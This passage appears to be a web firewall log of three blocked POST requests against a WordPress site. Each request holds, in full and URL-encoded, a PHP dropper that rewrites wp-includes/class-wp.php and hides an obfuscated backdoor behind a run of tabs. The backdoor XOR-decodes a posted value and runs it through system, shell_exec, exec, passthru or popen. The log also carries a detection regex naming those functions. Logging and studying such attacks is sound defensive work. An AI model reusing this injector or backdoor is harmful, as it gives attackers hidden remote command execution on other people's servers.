%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF20vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5202\n\nKm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524sync_manager2%2520%253D%2520%2522s%255Cx68%255Cx65ll_exec%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522exe%255Cx63%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D_%255Cx67et%255Cx5Fco%255Cx6E%255Cx74e%255Cx6E%255Cx74%255Cx73%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74hru%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522s%255Cx79s%255Cx74em%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522h%255Cx65%255Cx78%255Cx32b%255Cx69n%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524rec%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524y%253D0%253B%2520while%2528%2524y%253Cstrlen%2528%2524rec%2529%2529%257B%2524entry.%253Dchr%2528ord%2528%2524rec%255B%2524y%255D%2529%255E%2524data%2529%253B%2524y%252B%252B%253B%257D%2520return%2520%2524entry%253B%2520%257D%2520%2524entity%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%253B%2520%2524entity%2520%253D%2520token_parser_engine%2528%2524entity%252C%252029%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524entity%252C%2520%2524val_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524data_entry%2520%253D%2520%2524sync_manager5%2528%2524entity%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_entry%2529%2520%257B%2520%2524bind_k%2520%253D%2520%2524sync_manager6%2528%2524data_entry%2529%253B%2520%2524sync_manager7%2528%2524data_entry%2529%253B%2520print%2520%2524bind_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:57:46","41.76.213.235","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> pQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524sync_manager2%2520%253D%2520%2522s%255Cx68%255Cx65ll_exec%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522exe%255Cx63%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D_%255Cx67et%255Cx5Fco%255Cx6E%255Cx74e%255Cx6E%255Cx74%255Cx73%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74hru%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522s%255Cx79s%255Cx74em%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522h%255Cx65%255Cx78%255Cx32b%255Cx69n%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524rec%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524y%253D0%253B%2520while%2528%2524y%253Cstrlen%2528%2524rec%2529%2529%257B%2524entry.%253Dchr%2528ord%2528%2524rec%255B%2524y%255D%2529%255E%2524data%2529%253B%2524y%252B%252B%253B%257D%2520return%2520%2524entry%253B%2520%257D%2520%2524entity%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%253B%2520%2524entity%2520%253D%2520token_parser_engine%2528%2524entity%252C%252029%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524entity%252C%2520%2524val_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524data_entry%2520%253D%2520%2524sync_manager5%2528%2524entity%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_entry%2529%2520%257B%2520%2524bind_k%2520%253D%2520%2524sync_manager6%2528%2524data_entry%2529%253B%2520%2524sync_manager7%2528%2524data_entry%2529%253B%2520print%2520%2524bind_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpSRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5202\n\npQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524sync_manager2%2520%253D%2520%2522s%255Cx68%255Cx65ll_exec%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522exe%255Cx63%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D_%255Cx67et%255Cx5Fco%255Cx6E%255Cx74e%255Cx6E%255Cx74%255Cx73%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74hru%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522s%255Cx79s%255Cx74em%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522h%255Cx65%255Cx78%255Cx32b%255Cx69n%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524rec%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524y%253D0%253B%2520while%2528%2524y%253Cstrlen%2528%2524rec%2529%2529%257B%2524entry.%253Dchr%2528ord%2528%2524rec%255B%2524y%255D%2529%255E%2524data%2529%253B%2524y%252B%252B%253B%257D%2520return%2520%2524entry%253B%2520%257D%2520%2524entity%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%253B%2520%2524entity%2520%253D%2520token_parser_engine%2528%2524entity%252C%252029%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524entity%252C%2520%2524val_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524data_entry%2520%253D%2520%2524sync_manager5%2528%2524entity%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_entry%2529%2520%257B%2520%2524bind_k%2520%253D%2520%2524sync_manager6%2528%2524data_entry%2529%253B%2520%2524sync_manager7%2528%2524data_entry%2529%253B%2520print%2520%2524bind_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:58:53","88.135.73.76","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524sync_manager2%2520%253D%2520%2522s%255Cx68%255Cx65ll_exec%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522exe%255Cx63%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D_%255Cx67et%255Cx5Fco%255Cx6E%255Cx74e%255Cx6E%255Cx74%255Cx73%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74hru%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522s%255Cx79s%255Cx74em%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522h%255Cx65%255Cx78%255Cx32b%255Cx69n%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524rec%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524y%253D0%253B%2520while%2528%2524y%253Cstrlen%2528%2524rec%2529%2529%257B%2524entry.%253Dchr%2528ord%2528%2524rec%255B%2524y%255D%2529%255E%2524data%2529%253B%2524y%252B%252B%253B%257D%2520return%2520%2524entry%253B%2520%257D%2520%2524entity%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%253B%2520%2524entity%2520%253D%2520token_parser_engine%2528%2524entity%252C%252029%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524entity%252C%2520%2524val_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524data_entry%2520%253D%2520%2524sync_manager5%2528%2524entity%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_entry%2529%2520%257B%2520%2524bind_k%2520%253D%2520%2524sync_manager6%2528%2524data_entry%2529%253B%2520%2524sync_manager7%2528%2524data_entry%2529%253B%2520print%2520%2524bind_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpIxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5202\n\nqY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524sync_manager2%2520%253D%2520%2522s%255Cx68%255Cx65ll_exec%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522exe%255Cx63%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D_%255Cx67et%255Cx5Fco%255Cx6E%255Cx74e%255Cx6E%255Cx74%255Cx73%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70a%255Cx73s%255Cx74hru%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522s%255Cx79s%255Cx74em%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522h%255Cx65%255Cx78%255Cx32b%255Cx69n%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524rec%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524y%253D0%253B%2520while%2528%2524y%253Cstrlen%2528%2524rec%2529%2529%257B%2524entry.%253Dchr%2528ord%2528%2524rec%255B%2524y%255D%2529%255E%2524data%2529%253B%2524y%252B%252B%253B%257D%2520return%2520%2524entry%253B%2520%257D%2520%2524entity%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522ent%255Cx69ty%2522%255D%2529%253B%2520%2524entity%2520%253D%2520token_parser_engine%2528%2524entity%252C%252029%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524entity%252C%2520%2524val_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524entity%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524data_entry%2520%253D%2520%2524sync_manager5%2528%2524entity%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_entry%2529%2520%257B%2520%2524bind_k%2520%253D%2520%2524sync_manager6%2528%2524data_entry%2529%253B%2520%2524sync_manager7%2528%2524data_entry%2529%253B%2520print%2520%2524bind_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
